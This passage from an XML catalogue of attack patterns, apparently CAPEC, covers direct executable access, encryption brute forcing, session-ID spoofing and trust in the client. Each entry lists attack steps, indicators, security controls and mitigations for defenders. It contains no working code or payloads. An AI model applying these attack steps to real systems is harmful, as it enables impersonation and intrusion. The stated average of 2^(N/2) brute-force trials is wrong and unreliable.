		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>"Attack Pattern: Direct Access to Executable Files
		A privileged program is directly accessible. The program performs operations on behalf of the attacker that allow privilege escalation or shell access. For Web servers, this is often a fatal issue. If a server runs external executables provided by a user (or even simply named by a user), the user can cause the system to behave in  unanticipated ways.  This may be accomplished by passing in command-line options or by spinning an interactive session. A problem like this is almost always as bad as giving complete shell access to an attacker.

		The most common targets for this kind of attack are Web servers. The attack is so easy that attackers have been known to use Internet search engines to find potential targets. The Altavista search engine is a great resource for attackers looking for such targets. Google works too."		
		[Hoglund and McGraw 04]</Context_Description>
		<Injection_Vector>Payload delivered through standard communication protocols.</Injection_Vector>
		<Payload>Command(s) executed directly on host</Payload>
		<Activation_Zone>Client machine and client network</Activation_Zone>
		<Payload_Activation_Impact>Enables attacker to execute server side code with any commands that the program owner has privileges to.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>285</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>272</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>59</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>282</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>275</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>264</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>270</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>693</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>1</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>Medium</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Gunnar Peterson</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-09</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name, Description and Examples</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="20" Name="Encryption Brute Forcing" Pattern_Abstraction="Standard">
		<Description>
			<Summary>An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>Determine the ciphertext and the encryption algorithm.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Perform an exhaustive brute force search of the keyspace, producing candidate plaintexts and observing if they make sense.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>Ciphertext is known.</Attack_Prerequisite>
			<Attack_Prerequisite>Encryption algorithm and key size are known.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Low</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Low</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Brute Force</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>In 1997 the original DES challenge used distributed net computing to brute force the encryption key and decrypt the ciphertext to obtain the original plaintext.  Each machine was given its own section of the keyspace to cover.  The ciphertext was decrypted in 96 days.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low:  Brute forcing encryption does not require much skill.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>A powerful enough computer for the job with sufficient CPU, RAM and HD.  Exact requirements will depend
			on the size of the brute force job and the time requirement for completion.  Some brute forcing jobs may require grid or distributed computing (e.g. DES Challenge).
		
			On average, for a binary key of size N, 2^(N/2) trials will be needed to find the key that would decrypt the ciphertext to obtain the original plaintext.
				Obviously as N gets large the brute force approach becomes infeasible.</Resources_Required>
		<Indicators-Warnings_of_Attack>
			<Indicator-Warning_of_Attack>None.  This attack happens offline.</Indicator-Warning_of_Attack>
		</Indicators-Warnings_of_Attack>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Use commonly accepted algorithms and recommended key sizes.  The key size used will depend on how important it is to keep the data confidential and for how long.</Solution_or_Mitigation>
			<Solution_or_Mitigation>In theory a brute force attack performing an exhausitve keyspace search will always succeed, so the goal is to have computational security.  Moore's law needs to be taken into account that suggests that computing resources double every eighteen months.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>Typically cryptography, if done right, will rarely be the weakest link in the system.  Problems begin when people either decide to play cryptographers themselves and roll out custom crypto, use key sizes that are too small, develop their own cryptographic protocols (or misuse existing cryptographic protocols).  There are some other things that can be done wrong, such as not using good sources of randomness when generating encryption keys and initialization vector values.</Context_Description>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>326</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>693</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>719</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>49</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Source>
			<Submission>
				<Submitter>Eugene Lebanidze</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-02-26</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-01</Modification_Date>
				<Modification_Comment>Review and revision of content</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Description, Resources Required and Context Description</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="21" Name="Exploitation of Session Variables, Resource IDs and other Trusted Credentials" Pattern_Abstraction="Standard">
		<Description>
			<Summary>Attacks on session IDs and resource IDs take advantage of the fact that some software accepts user input without verifying its authenticity. For example, a message queueing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or indeed the process that wrote the message to the queue are authentic and authorized to do so.

			Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes "trust" other systems because they are behind a firewall. In a similar way servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Session IDs may be guessed due to insufficient randomness, poor protection (passed in the clear), lack of integrity (unsigned), or improperly correlation with access control policy enforcement points.
			
			Exposed configuration and properties files that contain system passwords, database connection strings, and such may also give an attacker an edge to identify these identifiers.
			
			The net result is that spoofing and impersonation is possible leading to an attacker's ability to break authentication, authorization, and audit controls on the system.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Survey the application for Indicators of Susceptibility</Attack_Step_Title>
						<Attack_Step_Description>Using a variety of methods, until one is found that applies to the target system. the attacker probes for credentials, session tokens, or entry points that bypass credentials altogether.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Spider all available pages</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Attack known bad interfaces</Attack_Step_Technique_Description>
							<Environments>env-Web env-CommProtocol env-ClientServer env-Local</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c21s1i1" type="Positive">
							<Indicator_Description>Session IDs are used</Indicator_Description>
							<Environments>env-Web env-Peer2Peer env-ClientServer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c21s1i2" type="Positive">
							<Indicator_Description>Open access points exist that use no user IDs or passwords, but determine authorization based on message content</Indicator_Description>
							<Environments>env-Web env-Peer2Peer env-CommProtocol env-ClientServer env-Local</Environments>
						</Indicator>
						<Outcome ID="c21s1o1" type="Success">Session IDs are identifiable</Outcome>
						<Outcome ID="c21s1o2" type="Success">Open channels are available</Outcome>
						<Security_Control ID="c211s2s1" type="Detective">Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).</Security_Control>
						<Security_Control ID="c211s2s2" type="Detective">Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application.</Security_Control>
						<Security_Control ID="c211s2s3" type="Preventative">Actively monitor the application and either deny or redirect requests from origins that appear to be automated.</Security_Control>
						<Security_Control ID="c211s2s4" type="Detective">Monitor velocity of feature activations (non-web software). Humans who activate features (click buttons, request actions, invoke APIs, etc.) will do so far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Fetch samples</Attack_Step_Title>
						<Attack_Step_Description>An attacker fetches many samples of a session ID. This may be through legitimate access (logging in, legitimate connections, etc) or just systematic probing.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>An attacker makes many anonymous connections and records the session IDs assigned.</Attack_Step_Technique_Description>
							<Environments>env-Web env-Peer2Peer env-CommProtocol env-ClientServer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>An attacker makes authorized connections and records the session tokens or credentials issued.</Attack_Step_Technique_Description>
							<Environments>env-Web env-Peer2Peer env-CommProtocol env-ClientServer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>An attacker gains access to (legitimately or illegitimately) a nearby system (e.g., in the same operations network, DMZ, or local network) and makes a connections from it, attempting to gain the same privileges as a trusted system.</Attack_Step_Technique_Description>
							<Environments>env-Peer2Peer env-CommProtocol env-ClientServer</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c21s3i1" type="Positive">
							<Indicator_Description>Trust in the system is based on IP address, MAC address, network locality, or other general network characteristic.</Indicator_Description>
							<Environments>env-CommProtocol env-ClientServer env-Peer2Peer</Environments>
						</Indicator>
						<Indicator ID="c21s3i2" type="Positive">
							<Indicator_Description>Web applications use session IDs</Indicator_Description>
							<Environments>env-Web</Environments>
						</Indicator>
						<Indicator ID="c21s3i3" type="Positive">
							<Indicator_Description>Network systems issue session IDs or connection IDs</Indicator_Description>
							<Environments>env-CommProtocol env-ClientServer env-Peer2Peer</Environments>
						</Indicator>
						<Outcome ID="c21s3o1" type="Success">Systems or applications grant trust based on logical or physical network locality.</Outcome>
						<Outcome ID="c21s3o2" type="Success">Session identifiers successfully spoofed</Outcome>
						<Outcome ID="C21s3o3" type="Failure">No session IDs can be found or exploited</Outcome>
						<Security_Control ID="c21s3s1" type="Detective">Monitor logs for unusual amounts of invalid sessions.</Security_Control>
						<Security_Control ID="c21s3s2" type="Detective">Monitor logs for unusual amounts of invalid connections or invalid requests from unauthorized hosts.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Exploit">
					<Attack_Step>
						<Attack_Step_Title>Impersonate</Attack_Step_Title>
						<Attack_Step_Description>An attacker can use successful experiments to impersonate an authorized user or system</Attack_Step_Description>
						<Security_Control ID="c21s4s1" type="Detective">Analyze logs for users or systems that are connecting from unexpected sources.</Security_Control>
						<Security_Control ID="c21s4s2" type="Detective">Analyze logs for users or systems successfully requesting or performing unexpected actions.</Security_Control>
						<Security_Control ID="c21s4s3" type="Corrective">If heuristics are sufficiently reliable, disconnect hosts or users that appear to be unauthorized impersonations.</Security_Control>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Spoofing</Attack_Step_Title>
						<Attack_Step_Description>Bad data can be injected into the system by an attacker.</Attack_Step_Description>
						<Outcome ID="c21s5o1" type="Success">Unauthorized data is injected into an application.</Outcome>
						<Security_Control ID="c21s5s1" type="Detective">Apply heuristic evaluation to input data. This can include validating source addresses, user names, ACLs or other data that indicates authorization. This need not be done inline at the time the data is processed, but can be done after the processing has occurred to detect attack.</Security_Control>
						<Security_Control ID="c21s5s2" type="Corrective">Apply transaction-based logic to systems whose initial authorization cannot be better controlled. Roll back transactions that are subsequently determined to be fraudulent or illegitimate.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>Server software must rely on weak session IDs proof and/or verification schemes</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Spoofing</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Thin client applications like web applications are particularly vulnerable to session ID attacks. Since the server has very little control over the client, but still must track sessions, data, and objects on the server side, cookies and other mechanisms have been used to pass the key to the session data between the client and server. When these session keys are compromised it is trivial for an attacker to impersonate a user's session in effect, have the same capabilities as the authorized user. There are two main ways for an attacker to exploit session IDs. 

				A brute force attack involves an attacker repeatedly attempting to query the system with a spoofed session header in the HTTP request. A web server that uses a short session ID can be easily spoofed by trying many possible combinations so the parameters session-ID= 1234 has few possible combinations, and an attacker can retry several hundred or thousand request  with little to no issue on their side.

				The second method is interception, where a tool such as wireshark is used to sniff the wire and pull off any unprotected session identifiers. The attacker can then use these variables and access the application.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: To achieve a direct connection with the weak or non-existent server session access control, and pose as an authorized user</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>Ability to deploy software on network. Ability to communicate synchronously or asynchronously with server</Resources_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Design: utilize strong federated identity such as SAML to encrypt and sign identity tokens in transit.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Use industry standards session key generation mechanisms that utilize high amount of entropy to generate the session key. Many standard web and application servers will perform this task on your behalf.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: If the session identifier is used for authentication, such as in the so-called single sign on use cases, then ensure that it is protected at the same level of assurance as authentication tokens.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: If the web or application server supports it, then encrypting and/or signing the session ID (such as cookie) can protect the ID if intercepted.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Use strong session identifiers that are protected in transit and at rest.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Utilize a session timeout for all sessions, for example 20 minutes. If the user does not explicitly logout, the server terminates their session after this period of inactivity. If the user logs back in then a new session key is generated.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Verify of authenticity of all session IDs at runtime.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>"Attack Pattern: Session ID, Resource ID, and Blind Trust

		When session and resource IDs are simple and available, attackers can use them to their advantage. Many schemes are so simple that pasting in another known ID in a message stream works.
		
		[Hoglund and McGraw 04]</Context_Description>
		<Injection_Vector>Malicious input delivered through standard service calls, e.g. FTP or posting a message to a message queue.</Injection_Vector>
		<Payload>Varies with instantiation of attack pattern. The main goal is so spoof or impersonate a legitimate user.</Payload>
		<Activation_Zone>Client machine and client network (e.g. Intranet)</Activation_Zone>
		<Payload_Activation_Impact>Enables attacker to impersonate another user and access commands and data (and log behavior to audit logs) on their behalf.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>290</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>302</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>346</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>539</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>6</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>384</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>664</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>602</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>642</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
			<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
			<Architectural_Paradigm>SOA</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Gunnar Peterson</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-10</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Description</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Paco Hope</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-20</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="22" Name="Exploiting Trust in Client (aka Make the Client Invisible)" Pattern_Abstraction="Meta">
		<Description>
			<Summary>An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client.

			An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client.
			
			There are numerous variations of this type of attack.</Summary>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>Server software must rely on client side formatted and validated values, and not re-inforce these checks on the server side.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Spoofing</Method_of_Attack>
			<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Web applications may use Javascript to perform client side validation, request encoding/formatting, and other security functions, which provides some usability benefits and eliminates some client-server roundtripping. However, the web server cannot assume that the requests it receives have been subject to those validations, because an attacker can use an alternate method for crafting the HTTP Request and submit data that contains poisoned values designed to spoof a user and/or get the web server to disclose information.</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>Web 2.0 style applications may be particularly vulnerable because they in large part rely on existing infrastructure which provides scalability without the ability to govern the clients. Attackers identify vulnerabilities that either assume the client side is responsible for some security services (without the requisite ability to ensure enforcement of these checks) and/or the lack of a hardened, default deny server configuration that allows for an attacker probing for weaknesses in unexpected ways. Client side validation, request formatting and other services may be performed, but these are strictly usability enhancements not security enhancements.</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>Many web applications use client side scripting like Javascript to enforce authentication, authorization, session state and other variables, but at the end of day they all make requests to the server. These client side checks may provide usability and performance gains, but they lack integrity in terms of the http request. It is possible for an attacker to post variables directly to the server without using any of the client script security checks and customize the patterns to impersonate other users or probe for more information.</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>Many message oriented middleware systems like MQ Series are rely on information that is passed along with the message request for making authorization decisions, for example what group or role the request should be passed. However, if the message server does not or cannot authenticate the authorization information in the request then the server's policy decisions about authorization are trivial to subvert because the client process can simply elevate privilege by passing in elevated group or role information which the messgae server accepts and acts on.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium: The attacker must have fairly detailed knowledge of the syntax and semantics of client/server communications protocols and grammars</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>Ability to communicate synchronously or asynchronously with server</Resources_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Design: Ensure that client process and/or message is authenticated so that anonymous communications and/or messages are not accepted by the system.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Do not rely on client validation or encoding for security purposes.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Utilize digital signatures to increase authentication assurance.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Utilize two factor authentication to increase authentication assurance.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Perform input validation for all remote content.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>"Attack Pattern: Make the Client Invisible

		"Remove the client from the communications loop by talking directly with the server. Explore to determine what the server will and will not accept as input. Masquerade as the client.
		
		[Hoglund and McGraw 04]</Context_Description>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>290</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>287</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>200</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>693</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
			<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Gunnar Peterson</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-09</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="23" Name="File System Function Injection, Content Based" Pattern_Abstraction="Standard">
		<Description>
